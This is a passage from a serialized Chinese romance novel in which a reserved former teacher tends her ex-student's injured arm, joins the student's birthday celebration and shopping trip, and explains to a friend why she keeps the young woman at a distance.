池柚穿了一套白底绿碎花的睡裙, 头发湿漉漉的还没吹。 睡裙是吊带的, 没有袖子,雪白的两条胳膊没了防晒衣的遮挡,缠满左小臂的纱布暴露了在白鹭洲的眼前。 大脑还来不及思考, 白鹭洲的嘴就先问了出来: “胳膊怎么了?” 池柚看了一眼自己的手臂,没当什么大事,说: “就是,前两天摔在碎瓷片上, 胳膊杵了一下, 医生包过了。” ……大蚊子。 白鹭洲这下明白了海滩烧烤时池柚为什么会对自己的胳膊又抓又拍的。 这就是她当时想问的“大蚊子”。 “你没换过纱布吗?”白鹭洲看那纱布都泛黄卷边了,“那你洗澡的时候……” “我这样洗的。”池柚像小学生举手回答老师问题一样举起了自己的左胳膊,90度标准垂直角度,指尖朝天, 绷得特端正。 白鹭洲:“……” 虽然池柚举得很端正, 但洗身上又要洗头,她一只手在淋浴下面动来动去, 水还是难免溅到了纱布上。 而且看起来, 前两天她洗澡的时候也溅过水,因为纱布上有旧湿痕干了的团团轮廓。 拜这卫生间糟糕的门所赐, 池柚早上回黎青那边洗澡的时候黎青肯定不会待在房间里,要避嫌, 再见她就已经穿好长袖衣服了。池柚自己又不愿意和别人说,所以这么好几天过去,硬是没一个人发现。 白鹭洲把电脑放到一边,让它待机,一言不发地下床,拿上房卡出门了。 过了一会儿,她用门卡刷开门,回来了。带着从别墅公共区域找到的药箱,拎着药箱扣的食指和中指之间还夹着一卷新纱布。 “过来,我给你重新包扎。” 白鹭洲坐回单人沙发上,示意池柚坐到小茶几对面的空沙发上去。 池柚顺从地坐过去。 沙发很软,包裹性很好,坐进去就让人想要睡觉了。她打了个带眼泪的哈欠,把胳膊放在茶几上,困顿地盯着卷边的纱布,和手腕上的旧红绳。 白鹭洲拨开那条不知道谁送给池柚的红绳,动作慢而仔细地拆开了旧纱布,里面的伤被捂了三天,恢复得并不好。伤口分布细碎,有一些已经红肿化脓,情况很糟糕。 她用棉签一点一点将化脓的地方擦干净,很轻,几乎没有带动皮肤周围的伤处。 平时白鹭洲总是离池柚很远,池柚还没察觉出什么。这一次离得这么近了,老师还在给她做处理伤口这种较为亲密的事,池柚才忽然发觉,白鹭洲好像在刻意地不碰到她的皮肤。 白鹭洲给她拆旧纱布时,还有用棉签清创时,始终耸着手,手腕悬起,指尖也收得很高。 池柚发现这一点后,为了验证自己的猜想,故意抬了一下胳膊。 白鹭洲果然马上抬起了手。 她再次抬高一点胳膊。 这次白鹭洲直接收回了手,只是动作比较自然,像是普通地去换棉签。 “老师,是不愿意让我碰您吗?” 池柚直接问出了口。 白鹭洲的脸上没什么变动,心里却顿了一下。 可是想想,她也不必搪塞什么假话。 “嗯。” 池柚又问:“是不想让我这条受伤的胳膊碰您,还是不想让我任何一个地方碰您?” 白鹭洲:“……任何一个地方。” 池柚一下子回忆起很多细节。“那……之前不要帮我扶凳子,喝多了也不要我扶您,都是这个原因吗?” 白鹭洲:“是。” “哦。” 池柚点点头,盯着自己的胳膊,手指动了动,中指和无名指无意识地点了下桌面。 “像这种事,您可以早一点直接告诉我,我就会注意了。” “……” 白鹭洲动作停住,不禁抬眼看向池柚。 池柚这句话的内容和语气都很平常,听不出是在不开心闹脾气还是真这么想。所以白鹭洲需要看一眼她的表情,想从她的眼睛,嘴角,眉毛里面,发现一点端倪。 可是池柚的表情也很平常。 还是跟几秒前一样带着一些困意,有点百无聊赖,等着早点包扎完好睡觉的样子。 她没有生气,没有闹脾气。 甚至似乎并不怎么在意。 白鹭洲出神了短暂的两秒,又垂下眼,继续手上的动作。 池柚觉得要是在白鹭洲给她处理伤口的时候睡着了也不太好,就拿出手机,强打精神再坚持一会儿。 她手机静音了,一打开才发现今晚舍友们为了找她给她打了很多电话。 然后池柚用她能动的那只手一个一个对话框点进去,依次表示了抱歉和感谢,附言希望这个时间点自己没有打扰到对方睡觉。 因为一边手不太方便,她花了挺长的时间去打字。很有耐心,很有礼貌。 池柚点着微信,点着点着,忽然侧了一下手机。 她的头也跟着侧了一点,以一个稍微有点怪的姿势继续点屏幕。 这个动作挺常见的,一般父母在身边时手机上弹出什么少儿不宜的内容,或者不可泄露的重要工作信息过来时,人就会坐成这个样子。目的就是不让旁边的人看见自己在干什么。 池柚坐成这样,明显也是在防着白鹭洲,不想让她看见自己的屏幕。 白鹭洲又抬眼看了下她。 不言语,扔掉手上带血的棉签,又换了一根新的。 这一根新棉签的棉花裹得不太好,暴露了一小块竹签头在外面,白鹭洲没有看到。擦上池柚伤口的时候,池柚的胳膊抖了一下,伴着一声轻哼。 她显然被刮疼了,但除了抖了一下和轻哼一声外,再没什么动静了。 还是那个姿势看手机,头也不抬。 白鹭洲马上换了一根完整的棉签,沾上碘伏,转过头来一眼就看到还在埋头沉浸的池柚。 “……” 她到底在看什么? “你在看什么?” 想到这句话的那一刻,白鹭洲就直接问了出来。 池柚只是说:“没什么。” 一般来说,这段对话到这里就可以了,该结束了。 因为好奇而去提出了疑问,但是对方没有明确回答,那就说明对方不想回答。 就不必再追问了。 正常成年人都懂这个道理,更别说是一直都对别人隐私没什么兴趣的白鹭洲。 可,白鹭洲还是又开口了。 “不方便告诉我?” 声音低了一点,句子没什么感情,都听不太出来是个问句。 她的脸上又出现了那种明明没有皱眉,却感觉像是在皱眉的表情。 “嗯……” 池柚挠挠头,其实也没什么好瞒的,大大方方对白鹭洲笑了笑。 “就是白天导师发给我的信息,我刚刚才看到,他让我修改一份报告。是……《尸检报告》,PPT,带图的,还不止一张,我怕您看见那些图害怕。” 那似有若无的皱眉表情消失了。 “没事,我不害怕。” 白鹭洲拿出消炎药膏,用棉花团沾了,涂到池柚的胳膊上。 “你坐正,不然光线不好,我看不清。” “好。” 池柚乖乖坐正了,但是也按灭了手机屏幕,扣在了桌子上,没有再继续看那份《尸检报告》了。 药膏被轻柔地沿着皮肤纹理涂抹上,均匀的薄薄一层,在灯下面反射着油亮的光。 从始至终,白鹭洲真的寸毫都不曾碰到过她。 最近的时候,是食指按住棉花团压下来时,隔着很薄的一层棉絮。 那瞬间,好像可以把头顶直射灯的热度错认成她指尖的温度。 这一瞬的错觉…… 池柚盯着棉花团擦过去的地方,本来微笑的嘴角沉了一下,变成了一个稍微带点苦的笑。 也没有很苦,就一点苦,真就一点点。 在她本就没有奢求太多的世界里,有这一秒的错觉,她已经心满意足了。 所以没关系。 而且她发现老师真的很厉害,怎么做到真的完全碰不到的呢,这么细密的上药工作,就跟解剖时不沾血一样困难。 这要是拉去玩那种拿个铁环顺着电丝走不能碰到电丝否则就要被电的游戏,绝对是头奖啊。 嗯,拿头奖,也确实是白鹭洲的风格。 想到这儿,池柚忍不住轻轻地笑了一下。 从鼻腔里细细地“哼哼”,这种笑。 白鹭洲:“笑什么?” 池柚摇摇头,支起下巴,脸侧的软肉堆在掌心里,声音哑哑的:“太困了吧,困出幻觉了,好困啊这几天。” 白鹭洲:“马上。就差包纱布了,包完你就去睡觉。” 池柚:“嗯,好。” 空气一时间安静下来。 没人说话了。 一安静,池柚就更困了。 困出泪花的眼睛,还是下意识追随着白鹭洲的影子。 她看见白鹭洲的食指和中指夹着药膏管,用无名指和尾指撩了一下垂落的头发,白皙指节一弯,黑发就掖到了耳朵后面。 好困,好困。 “……所以,没地方去的时候,为什么不来找我?” 灯下,白鹭洲突然开口。 问完后,她又补充了一句: “作为你曾经的老师,我帮帮你,很正常。” “因为船上的时候,答应您了呀,擦完脸就走,不打扰您了。”池柚带着倦意的声音软糯糯的。 白鹭洲:“为什么不回去找黎青?” 池柚:“黎师姐和宋姐姐她们俩需要私人空间。” 白鹭洲:“那你自己呢?” 白鹭洲是真的在认真问。 这么几天到处流浪,池柚为她着想,为黎青和宋七月着想,为很多很多人着想,就没有一瞬间,为自己想过吗? “……我没事的。” 池柚的眼皮都要张不开了,嘟嘟囔囔地回答。 “只要你们都睡得好,我怎么样都……没关系……” 白鹭洲:“别人的体验和心情,排在你自己之前么?” 池柚打了个小瞌睡,眨眨眼。 又轻声重复了一遍: “我没事的。” 白鹭洲放下药膏管。 良久,白鹭洲不带情绪地轻笑一声,抽了两张纸低头擦自己的手。 “小时候你就总把最好的零食留给同学,即使他们对你不好。很多时候,宁可自己受欺负,也不愿意我去训斥那些孩子。” 缓缓地长叹。 “你果然还是和小时候一样。” 这是池柚彻底睡着之前,清醒意识里,听到白鹭洲说的最后一句话。 第037章 池柚第二天醒来的时候, 被一条白被子严严实实地裹着躺在床上。 她迷蒙间想抬手,手都抬不起来,被裹太紧了, 跟一条毛毛虫似的。 不难猜到,是她在沙发上睡着以后, 白鹭洲不想碰到她, 又不能叫她在沙发上坐着睡一晚, 就用被子把她裹了起来,然后搬到了床上放着。 她挣扎着伸出一条胳膊,揉揉眼睛, 看到窗外橙黄色的朝阳,拿起枕边的手机看了一眼。 18:00 ……啊。 原来这不是朝阳,是夕阳。 这一觉感觉把过去三天没睡好的全补回来了,补得池柚非常满足, 心里感激了一下白鹭洲不叫醒之恩。 池柚拽了拽身上的被子, 闭上眼睛,脑海里出现了昨晚白鹭洲隔着被子把她“端”到床上的情形。 关于这一点,虽然她昨晚知道白鹭洲不愿意和自己有皮肤接触时稍微有一点失落,但她也没有非常非常难受。 因为她了解白鹭洲, 她知道白鹭洲就是习惯给自己设定一些奇奇怪怪的底线或者规则, 然后用那条线压迫自己。 别人估计不太能理解,不过池柚懂, 这是白鹭洲要确保一件事能完美达成的必要条件。白鹭洲需要给自己画线, 保证自己始终在线内,这样她才觉得自己掌控了这件事。 就像, 有课要上的头两天她绝对不允许自己碰咖啡,以免精力失序。 考研最紧要的那一个礼拜里绝对不允许自己碰手机, 以免心猿意马。 其实稍微碰一下咖啡和手机也不会有什么天塌下来的影响,但白鹭洲就是要通过“严格遵守自己划出的底线”这个行为,来给予自己最多的安全感。 这就是做什么都太拼的后遗症吧。 太想做好每一件事了,太习惯逼着自己了。 池柚胡思乱想了一大圈,赖了二十分钟的床,懒懒地翻了个身。 ……白鹭洲。 此时此刻,就在沙发上坐着,和刚翻了身的她,对视上了。 池柚看了手机时间后心里默认白鹭洲已经出门去跟旅行团了,万万没想到这人还在房间里,还一直不出声。 她心梗了一下,磕巴道: “老、老师。” 今天又是一个没有穿旗袍的白鹭洲。 她穿了件雾霾蓝色的衬衣,版型放量很足,袖子叠起来挽到了胳膊肘后,下摆也掖进了裤腰。裤子是纯白色的阔腿裤,一看就很软,很服帖,布料伏在她的二郎腿上,很漂亮。 她参加旅行团之后就开始越来越喜欢这种随性懒散的穿着,比旗袍要舒服很多,适合在阳光总是过于明媚的海滩边穿。透气又宽松,也可以让她不用总那么端正地坐着。 白鹭洲放下了手里的手机,小幅度地活动了一下脖子。 “你终于起了。” 她说“你终于起了”,不是“你终于醒了”,说明她知道池柚在赖床,但她没有打扰。 池柚注意到白鹭洲的头发散着,没有梳子仔细梳过的一丝不茍,更像是吹干头以后随手向后抓了两下,发丝还带着一点天然的弧度。 但也不乱,很好看。 那种蓬松感,自然感,衬得她那张脸更显几分精致。 “没见过您穿这件衬衣呢。” 池柚窝在被子里说。 白鹭洲“嗯”了一声。 “昨天去岛上的商业街买的。你喜欢吗?” 这句问话给池柚带出了一点错觉。 感觉像是情侣之间的寻常清晨,她窝在床榻里,她的女朋友穿着新买的一件衣服坐在她旁边等她起床。她醒了,对方就问她:“好看吗?你喜欢吗?”就像池柚学习的那些讲爱情的网络小说里一样。 池柚的耳朵红了,沉吟片刻。 她嗫嚅着说:“嗯。我觉得你穿衬衣比穿旗袍好看。” 这一秒的她有点情不自禁,连称谓都短暂地从“您”换成了“你”。 白鹭洲眼里的光停滞了一下。 “我的意思是,你喜欢这件衣服的话,我今天可以带你去买一件。” 池柚:“啊……这样子。不用破费啦。” 白鹭洲:“不用客气,今天是你的生日,就当是我送你的礼物。” 池柚:“嗯?游轮那天的那个头发不是礼物么?” 白鹭洲不太想承认那个被池柚顶着跑去和黎青跳了舞的头发算是她给的生日礼物。 太廉价了,时效性也太短了。 头发一解开,什么痕迹都没留下。 她从沙发里站起来,转身去收拾包,不多解释什么,只留下一个背影,“起床吧。她们也在等着给你庆生,你的蛋糕可能快酸了。” 衬衫扎进阔腿裤腰的位置很细,那是她的腰的位置,一握都没有的感觉。 但她真实的腰比那里,应该还要再窄一层细皮带的厚度。 池柚使劲闭了闭眼睛,不好再赖床,慢吞吞爬起来,拿了干净的衣服去卫生间换。 白鹭洲收拾好包,目不斜视地走出门了. 等池柚收拾好了来到别墅餐厅,看到朋友们都坐在长餐桌两边等了她好阵子。 白鹭洲也在那里,只不过一个人坐得比较偏。看得出来和其他人不太能聊到一起,表面客套的功夫也不太想做,就低头看手机。 啊……过生日…… 池柚对这个是真的没什么兴趣。 人类啊,为什么有这么多东西要庆祝? 但她还是挂上了一张笑脸,走过去,乖乖地坐下,等她们依次给自己送上礼物,为自己唱完生日快乐歌,然后很捧场地吹灭蜡烛,双手握起拳头装作许愿。 假装许愿的时候池柚闭着眼睛想,算了别浪费,还是许一个得了。 那就希望—— 蛋糕还没酸吧。 这样大家还能吃两口。 许完愿就切蛋糕分蛋糕,由小寿星来。 池柚有私心,给其他人切就是普普通通地切,给白鹭洲切就挑了颜色最好看、水果最多的地方,而且切得要更厚。 分完以后,池柚坐下来吃了一口,眉毛皱了一下。 这个蛋糕确实放得有些久了,在冰箱里隔了夜,奶油虽然说没有酸,但是变得很硬,像吃水泥。上面的水果也不新鲜了,蔫蔫的,带着一点苦味。 ……她居然把这样的蛋糕切了最大的一份给白鹭洲。 大家吃了一口蛋糕以后脸上多少都嫌弃了一下,然后就一边拿叉子敷衍地戳着发硬的奶油,一边和旁边的人聊天。 黎青算是最仗义的了,吃了三分之一吧,就再也塞不进去了。 池柚也没吃太多,就挖了点下面的黄蛋糕坯。 可是,白鹭洲吃完了。 她一个人坐在偏远的座位上,独立在这边的喧闹之外。一只手臂搭在翘起的二郎腿上,另一只手握着塑料叉,慢慢地,一叉一叉规整地刮下奶油和蛋糕坯,放进嘴里不出声地默默吃。 一般人吃自己盘里的东西会挑挑拣拣,吃蛋糕也会,喜欢奶油的会先吃奶油,喜欢蛋糕坯的会先挖空蛋糕坯。喜恶是有顺序的。 不过白鹭洲的吃法让人看不出喜恶。 她的叉子叉下什么她就吃什么,吃得很干净,盘子里也不会剩下任何东西。所以别人完全看不出来她喜欢哪个,不喜欢哪个。 很难猜。 但更难猜的是,为什么会愿意吃完这东西啊? 池柚不解。 黎青开口提议:“要不咱再去买一个蛋糕吧?小柚子生日,不能这样凑合。” 宋七月:“好啊,刚好我也还想去商业街那边逛逛。” 池柚试图阻止:“真的不用了,谢谢姐姐们,真的。”她真的真的不想再来一遍生日快乐歌吹蜡烛许愿这套流程了。 黎青揽住了宋七月的肩:“没事,去逛逛也好。” 宋七月回过头看向白鹭洲,挑了挑眉。 “表甥孙女,你是不是也要和我们一起去啊?” 白鹭洲现在能主动坐到餐桌旁边吃蛋糕,宋七月估计她八成也会想去一起逛街。 果然,白鹭洲轻轻地“嗯”了一声。 宋七月坏笑:“嘿嘿,那你叫我一声表姨奶奶,我就带你去。” “……” 白鹭洲用纸巾擦了擦嘴,站起身。 “告辞。” “喂喂喂喂喂喂喂喂喂——” 宋七月从黎青的怀里弹出来,连忙喊住白鹭洲。 “你怎么这么开不起玩笑啊你!行行行,不用叫了,不用叫了。” 黎青用手掩了下嘴,轻笑出声。 然后她挺起身,手再次搭回宋七月的肩上,懒懒一收,将她带回怀里。 “你还笑!”宋七月剜了黎青一眼。 黎青微微笑着,略显无奈地说:“那怎么办* 呢,我天生爱笑。” 嘴上这么说,手却还是轻软地拍了拍宋七月的肩头,温柔地安抚她。 白鹭洲又静静地坐回了椅子里。 不说话,细白修长的手指拈起塑料叉子玩。 池柚的目光一直黏在白鹭洲身上,看了一会儿,低下头,又转头看了一会儿。 她忍不住凑近去了一点,小声问: “老师,您跟我们一起去逛街,是想——” “说过了,给你买衣服。” 白鹭洲淡淡地回答。 两个人声音不大,但旁边的黎青和宋七月都听到了。 宋七月一脸惊奇,捂着嘴悄悄和黎青说:“我这表甥孙女好奇怪啊。” 黎青:“为什么这么说?” 宋七月眉毛一挑,“不奇怪吗?明明那么抗拒小柚子,但是又说要去给小柚子买衣服。虽然说买衣服这种事挺普通的,但那是白鹭洲哎,白鹭洲主动做这种事!她那个死性格,你不觉得这事儿就让人感觉稍微有一点不太一样了吗?” “啊……”黎青似有若无地笑,“这个嘛,我还真是也猜不透。” 为什么那么抗拒,却又会稍稍逾距。 这个问题的答案,不止是黎青不知道、宋七月不知道、池柚不知道,就连白鹭洲自己,她也不知道。 是的,白鹭洲也想到过这个问题。 但她不知道。 第038章 海岛的商业街很繁华, 不比一线大城市的差。尤其是她们现在正逛着的商业中心大楼,里面有一层专卖奢侈品,顾客都是人均年收入上百万的那种。 很多有钱人都会来这座海岛度假, 这一层就是专为了这些有钱人设置的。 但医科大这几个学生显然没什么钱,这一层对于她们来说就是用来从二楼穿上四楼的过渡。 四楼是吃饭的地方, 她们都没吃晚饭, 又遭了不新鲜蛋糕的荼毒, 准备先去搓一顿香的。 虽说才在海滩上吃过烤肉,不过四楼有一家烤肉口碑非常好,而且全国独一家就在这儿, 不容错过。 一行人直奔烤肉店。 人有点多,她们点了两份3-4人的套餐。 座位是稍微偏一点的落地窗前,加了两把椅子。烤盘上方悬着很粗的一根管子用来导走油烟,多少有点遮挡视线, 隔着导烟管看不见对方的两个人会产生一截距离。 池柚和白鹭洲就坐在导烟管的两侧, 刚好看不见对方的脸。 程枣枣撞了撞林慕橙的胳膊,问:“哎,怎么感觉这几天都没看见你男朋友啊?吵架了?” “……分手了,他已经提前回去了。”林慕橙很轻地回答, 然后迅速眨几下眼, 清去喉咙里的不自然,也不想多言语这事, “哎哟求求你们了, 聊点别的吧。” 程枣枣睁大眼睛:“怎么会,来的时候不还……” 林慕橙低着头, 只是重复:“聊点别的吧聊点别的吧。” 池柚很认真地说:“我看网上说,情侣一起出来旅行, 是很容易分手的。很多问题,就是要住在一起,一起出去玩,一起规划安排事情,才容易凸显出来。所以林姐姐,别难过,这很正常。” 宋七月咬着筷子尖一脸“啧啧啧”的表情看着池柚。 妈呀这情商。 听着是好话没错,但是跟直接往人家心尖上捅刀子有什么区别。 黎青干咳一声,挑起另一个话头:“小柚子,许教授问我,他昨天发给你的报告你怎么还没给他返回去?” 池柚怔了怔,才想起昨晚那份《尸检报告》没有改完就把手机按灭了扣桌上,结果一扣就忘了。今天醒来就忙着和大家一起,也没改。 池柚:“我现在改吧。” 黎青看着池柚低头改报告的样子,又侧目看了眼身边已经开始兴冲冲烤肉的宋七月,笑意忽然深了一下,故意问: “你觉得要怎么改?说出来我帮你参考。” “……” 池柚皱着眉头想了一会儿。 “我觉得胸骨的取法还可以再改进一下。取之前得先用手去摸一下看看肺部是否出现了胸膜黏连,有过肺结核或者肺膜炎的话,一部分肺是可能会粘在胸壁上的。” 黎青又问:“取的手法呢?” 池柚:“用‘舀’的比较稳一些,将胸骨整个从体腔里舀出来,但是我得多添加一条备注,需要提醒处理一下黏连的隔膜组织。” 黎青:“解剖工具呢?” 池柚:“就用PM40解剖刀,不用换。” 黎青:“体腔内空间不足影响完整取出怎么办?” 池柚:“拓展空间……嗯……那就把肠子拉直取出,最后塞回去就行了。” 靠。 宋七月烤肉的手僵在半空,一脸不忍直视,想yue又yue不出来的表情。 “你们是人吗?!” 不对,池柚小笨蛋什么都不懂。 “你是人吗?!” 她狠狠瞪向黎青。 “哈哈哈哈哈哈哈哈……” 一向只喜欢微笑的黎青终于忍不住笑出声来。 其他两个舍友都是医学生,对这种谈话司空见惯,也跟着一起笑。 池柚也不知道她们在笑什么,她觉得这几句对话很普通,平时食堂吃饭她们也会聊课业,又没有把血淋淋的图片挂出来当背景板。 她知道正常人是会害怕图片的,但她不知道文字也会不妥,因为她在医科大的环境里习惯了谈论这些。 池柚几下改完给教授发了过去,然后一脸恬静地开始烤肉。 “老师,您要吃什么,我帮您烤啊?” 她还诚恳地邀请白鹭洲。 导烟管后,看不清的白鹭洲沉了沉肩,好像叹了口气。 不知道为什么,白鹭洲忽然想起了和池柚重逢的那次。 她正准备回家熬白萝卜骨头汤,池柚就给她送了一个人体骨头模型。 她当时和池柚说自己可能十年内都不会想吃白萝卜骨头汤了。但其实,她后来吃过很多次。 她不像宋七月那样会被搅得没有胃口,她不太受影响的。 叹气不是因为烦躁或者不适,她的叹气只是包含了一点点的无奈。或许叹气的时候她也隐隐挑了下嘴角,觉得这事儿挺有意思。 烤盘上血红的生肉开始滋滋作响,挨锅底的一面满满变得焦黄,散发出食物的香气。 烤肉很香,可宋七月放下烤肉夹,吃不下了。决定教导一下傻傻的小柚子。 她转过头,语重心长地对池柚说: “小柚子,我们和你们这些医学生不一样,就我,还有你白老师,我们这种普通人听不了这些太血腥的东西,我们听了就犯恶心你知道吗?一犯恶心就吃不下饭了,吃不下饭人就要干瞪眼饿肚子,就饿得不美了。所以你乖乖的啊,下次不许说了。” 池柚听了宋七月的话,脑子里反应了一下。 然后认真记到心里,对着导烟管后面的白鹭洲愧疚地道歉: “对不起,我不懂。我以后知道了。” “……” 白鹭洲没说话,她可能觉得不必回答。 这个小插曲很快就过去了。 只是池柚最后还是没有将那几片为白鹭洲烤的牛肉递过去,她犹豫了几下,夹进了自己碗里。 隔着导烟管,她看不见白鹭洲的脸,也不知道对方是不是还有胃口吃。 她没办法通过观察白鹭洲有没有动筷子来推断,因为白鹭洲连那个巨难吃的隔夜蛋糕都会吃完,真的很难从白鹭洲的表面行为去猜准她的真实想法。 吃过饭后,大家准备在商场里逛一逛,消消食,顺便该加餐甜点的去加餐甜点,该跑厕所的跑厕所,该买衣服的买衣服,之后再聚一起。 林慕橙和程枣枣去逛别的地方了。宋七月本来想拉着黎青去吃冰淇淋的,不过在看到白鹭洲带着池柚走向三楼奢侈品专层时,她脚步一顿,转了个弯。 “哎!”宋七月眼里亮晶晶的,“表甥孙女,也带我一起啊?” 黎青扫了眼白鹭洲要去的方向,轻笑:“白教授居然这么有钱啊。” “你以为呢。” 宋七月撑在栏杆上面对黎青,眼神掠了下已经坐扶梯下到了三楼的白鹭洲。 “她老爹可是开大集团的老总,听她奶奶提起过,她家大姐去世以后,她老爹就把大姐的所有股份给她了,老有钱了我和你说。” 池柚不禁一愣。 如果不是宋七月提起,池柚也不知道原来白鹭洲还挺有钱。在她旁观了这么多年的时间里,她从未意识到这一点。 可能是因为白鹭洲平时的生活真的很低调,没有任何奢靡的习惯。也可能是池柚不认识衣服和包的牌子,毕竟所有的衣服在她眼里都只是用来包裹人类躯体的一块布。 还可能是因为,白鹭洲的钱来得比较晚。 又是姐姐不在了以后,才轮到她的东西。 白鹭洲平时确实不乱花钱,家里后来给的都投资成了房产做稳定收益。她只是在买衣服的时候比较追求舒适和品质,会买贵一点,用自己的工资和零碎收益也完全够了。 听到宋七月这么说,她想起认识挺久的了,还没有给过这位小亲戚什么见面礼,于是说: “那你一起来吧,我也送你一件。” 宋七月乐得颠颠的,冰淇淋也不吃了,拉着黎青就跟上。 白鹭洲找到昨天她买衬衣的那家店,进了店,正要直接叫导购去取一件一样的给池柚试试,正要张口,却忽然意识到一个问题。 一样的衣服…… 会……像情侣装吗? “你看看别的吧。”白鹭洲面色平静地对池柚说。 池柚没有想那么多,正好她也不是很想要那件白鹭洲同款,她只是喜欢白鹭洲穿着它而已。她自己穿的话,还是喜欢小裙子。 “好啊。”池柚乖巧地点头,跟着导购去选了。 宋七月进店以后简直如鱼得水,拉着池柚到处挑挑选选,选好就推着池柚去试衣间忙活了。 白鹭洲和黎青两个人就坐在等候区,经理给她们端来茶水点心。 “慢用,有需要随时叫我们。” 送完东西,经理就客气地退开到不打扰客人的合适距离。 这好像是白鹭洲和黎青头一回单独相处。 白鹭洲还是没什么表情,也不说话,不玩手机,就坐着,等结账。 黎青喝着茶,看白鹭洲那个样子,轻轻地笑了一下,肩颤了颤。 白鹭洲:“……笑什么?” 黎青:“没什么,就觉得你这人也蛮有意思的。” 白鹭洲:“什么意思?” 黎青:“没什么意思,就字面意思。” “……” 白鹭洲沉默了一会儿。 本来不打算和黎青说什么的,但这两句对话下来,瞧着黎青那轻浮样子,她濡了濡嘴唇,又开口了。 “既然已经和七月在一起了,就专心对她。” 黎青九曲十八弯地“哦——”了一声。 “这话说的,好像是担心七月,但其实白教授也在担心小柚子吧?” 白鹭洲:“……” 黎青:“你是怕我朝三暮四,两边都吊着。” 也不奇怪,毕竟白鹭洲头几天还看见黎青在亲密无间地给池柚戴卡牌,没两天又说和宋七月谈上了,看着确实怪不靠谱的。 “所以呢,那又怎样?” 黎青却没有解释,往椅背上沉靠过去,一副破罐子破摔的样子。 “我就是两边吊着,谈够这个换那个,把池柚当备胎。池柚的心眼儿又没我多,骗她太容易了。怎么,你有什么立场来管呢?” 第039章 她有什么立场呢? 白鹭洲想再说些什么的, 可是黎青这句话问出来,她就什么都说不出来了。 是啊,她有什么立场。 她现在坐在这儿和黎青对话的每一个字, 都没有任何的立场。 因为她和黎青没有任何关系,不是师生, 不是朋友, 什么也不是。黎青是池柚的同门, 不是她的同门。如果她和池柚没有关系的话,她自然和黎青是说不上话的。 黎青等白鹭洲把这个问题过了心之后,四两拨千斤地说:“开玩笑的啦。” 白鹭洲皱了皱眉。 黎青捂着胸口十分真诚地说:“其实我特别纯情, 真的。” 白鹭洲:“……” 黎青看白鹭洲那个冷脸样子,又开始笑。 “白教授,你能不能告诉我,你到底在纠结些什么?”黎青问。 白鹭洲:“我不懂你的意思。” 黎青又端起茶水喝, “我又不是瞎子, 我看得出来,你就算没有喜欢上池柚,对她也肯定是有好感的。没有人会一直帮一个真的很讨厌的人。那你为什么又要推开她?就因为你们曾经是师生?” 白鹭洲放下了手里一直攥着的手机,也端起了茶杯。 “我们已经熟到可以聊这些了吗。” “怎么不能聊呢, ”黎青笑眯眯的, “没准我也是你未来的表姨奶奶呢。” 她真和宋七月修成正果的话,那可不就跟宋七月一样, 也是白鹭洲的表姨奶奶。 超级加辈。 白鹭洲:“……” 白鹭洲:“无聊。” 黎青收敛起玩笑的口吻, 轻咳一声,“说真的, 你可以和我讲一讲。你看,咱俩又不熟, 你有些话也不可能找太熟的人说。旅行结束后我们未必还会再见面,你说完,我就当忘了。” 白鹭洲有点出神,上齿尖轻掠地划过下唇。 黎青:“就当是给我一个不再继续撮合你们的理由。” 撮合。 这个词进入白鹭洲大脑时,一瞬间她就想明白了很多事。 也一瞬间就懂了这些天黎青的种种异常行为。 原来如此。 真没想到,居然还有人在为了她和池柚这段关系,在背后悄悄负重前行。 其实用“负重”这两个字倒也没必要,不至于上升得如此有牺牲意味。但不论如何,黎青肯定是用了心的,付出了不少时间精力。 “……” 白鹭洲不带感情地笑了一下,几分释然。 “是我狭隘了,你是真的很想帮她。” 黎青:“所以你就当是认真拒绝池柚那样,和我说明白,认真拒绝一次我的好意。说服我,我以后就不会再擅作主张干涉你们的任何事了。” “……不是因为曾经是师生。” 白鹭洲抿了一口茶水,眼睛瞥着下面。 她不再推诿,也懒得过渡,直接开始回答黎青的问题。 “我虽然遵循师德,但并不迂腐。我早就不是她的老师了,再重逢也是很多年以后,其实本不该有什么顾虑。” 黎青:“那为什么……” 白鹭洲:“问题在于,那是池柚。” 黎青的眉头蹙了一下。 “池柚她不是一个正常心智的人。” 白鹭洲攥住杯子,目光无意识地飘向了宋七月和池柚去往的试衣间方向。 “她的身体是成年了,然而她的感情,她的心,究竟有没有随着年龄一起长大,一起变得成熟起来,没有人能知道。” 抿了下唇角。 “她还是和小时候一样,天真得会把花染红了送给我,还是在笨拙地去学习怎么和这个社会链接,饭桌上,也傻傻地根本不晓得自己说的话是不是合时宜。” 白鹭洲吸了一口气,缓缓吐出来。 “如果她始终都没有长大,根本没分清过感情的种类,十多年来对我一直都是年幼时候的雏鸟情节,我在她眼里,从头到尾都只是一个可以满足她这种情节的老师,而不是一个独立的人……” 她抿了抿下唇。 “雏鸟情节,不是爱。对不对?” 黎青:“……” 白鹭洲:“如果我明知道她可能不是真的爱我,我还去回应,去尝试开始这段感情,对她来说,公平吗?” 黎青搁在桌上的手指缩了一下。 “如果我和还不成熟的她在一起了,等以后有一天她真的长大了,终于弄明白理清楚了,发现对我不是爱情,你叫她怎么办?她那么懂事,永远只为别人考虑,就算知道自己不爱一个人了她也不会马上抽身的,她只会出于责任,出于同情,委屈自己,可能委屈一辈子也说不定。或许到头来,这世界上都没有任何一个人知道她到底舍弃了什么。所以……” 白鹭洲吞了吞唾液。 良久。 “所以,对她来说,真的不公平。” 她本来可以不再对池柚有师德了。 可是只要池柚一天不成熟,只要这雏鸟情节存续着,哪怕是十分之一的概率在存续着,她就要重新将师德抱起来,像一堵墙一样,永远砌在她们之间。 她没有选择。 因为在这样无奈又无法改变的现实里,她现在做出的选择,就是唯一能对池柚负责的方式。 “……我明白了。” 黎青终于清楚了白鹭洲最深的顾虑与心事。 她以为自己听完还可以劝一劝白鹭洲,但仔细想想白鹭洲的话,她又觉得,确实,没有什么毛病似的。 白鹭洲也只是在保护池柚,以她自己的手段。 “不过……”黎青犹豫了一下,“如果她以后变得成熟后还是喜欢你呢?或者……万一她现在就已经很明白……” 白鹭洲反问:“怎么才能知道一个人变得成熟了?” 黎青叹了口气,无力地搓了搓指尖,“很难丈量哈。” 白鹭洲没说话。 黎青低低地笑了笑,说: “可能,你现在就是缺一把尺子吧。” 能丈量池柚的灵魂的尺子。 黎青忽然发现,白鹭洲真的是一个很会压抑自己的人,而且是习惯了压抑自己的人。她压得太好了,有些事情她不亲口说出来,连自己这样的老狐狸都看不出一点点端倪。 旁人只能看到她是一个狠心的人,一个既要推开对方又要蔓延善意的纠结体,一个看起来甚至是有点差劲的被追求者。 没有人懂她决绝的态度与无法控制的关心之间,那缝隙里流淌出来的是什么。 